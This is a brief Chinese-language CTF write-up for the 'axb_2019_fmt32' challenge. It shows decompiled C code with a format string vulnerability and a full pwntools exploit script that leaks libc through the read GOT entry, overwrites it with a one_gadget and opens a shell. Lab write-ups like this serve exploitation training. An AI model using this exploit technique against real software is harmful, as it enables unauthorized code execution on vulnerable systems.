学多的一道题

```
{
  char s[257]; // [esp+Fh] [ebp-239h] BYREF
  char format[300]; // [esp+110h] [ebp-138h] BYREF
  unsigned int v5; // [esp+23Ch] [ebp-Ch]

  v5 = __readgsdword(0x14u);
  setbuf(stdout, 0);
  setbuf(stdin, 0);
  setbuf(stderr, 0);
  puts(
    "Hello,I am a computer Repeater updated.\n"
    "After a lot of machine learning,I know that the essence of man is a reread machine!");
  puts("So I'll answer whatever you say!");
  while ( 1 )
  {
    alarm(3u);
    memset(s, 0, sizeof(s));
    memset(format, 0, sizeof(format));
    printf("Please tell me:");
    read(0, s, 0x100u);
    sprintf(format, "Repeater:%s\n", s);
    if ( strlen(format) > 0x10E )
      break;
    printf(format);
  }
  printf("what you input is really long!");
  exit(0);
}
```

可以看出是格式化漏洞

但是没有shell函数之类的

需要我们利用格式化字符串漏洞泄露libc并且实现任意地址读写

```
from pwn import *

io=remote('node4.buuoj.cn',25649)
#io=process('axb_2019_fmt32')
elf = ELF('./axb_2019_fmt32')
context.log_level = 'debug'

io.recvuntil("Please tell me:")
read_got = elf.got['read']
payload = 'a'+p32(read_got)+'%8$s'
io.sendline(payload)
io.recv(14)
read_addr = u32(io.recv(4))
print(hex(read_addr))

libc_base = read_addr - 0x0d4350
one_gadget = libc_base + 0x3a812
payload = 'a' + fmtstr_payload(8, {read_got: one_gadget},write_size = "byte",numbwritten = 0xa)
print(fmtstr_payload(8, {read_got: one_gadget},write_size = "byte",numbwritten = 10))   #构造格式
io.sendafter('me:', payload)
io.sendline(b'cat flag')
io.interactive()
```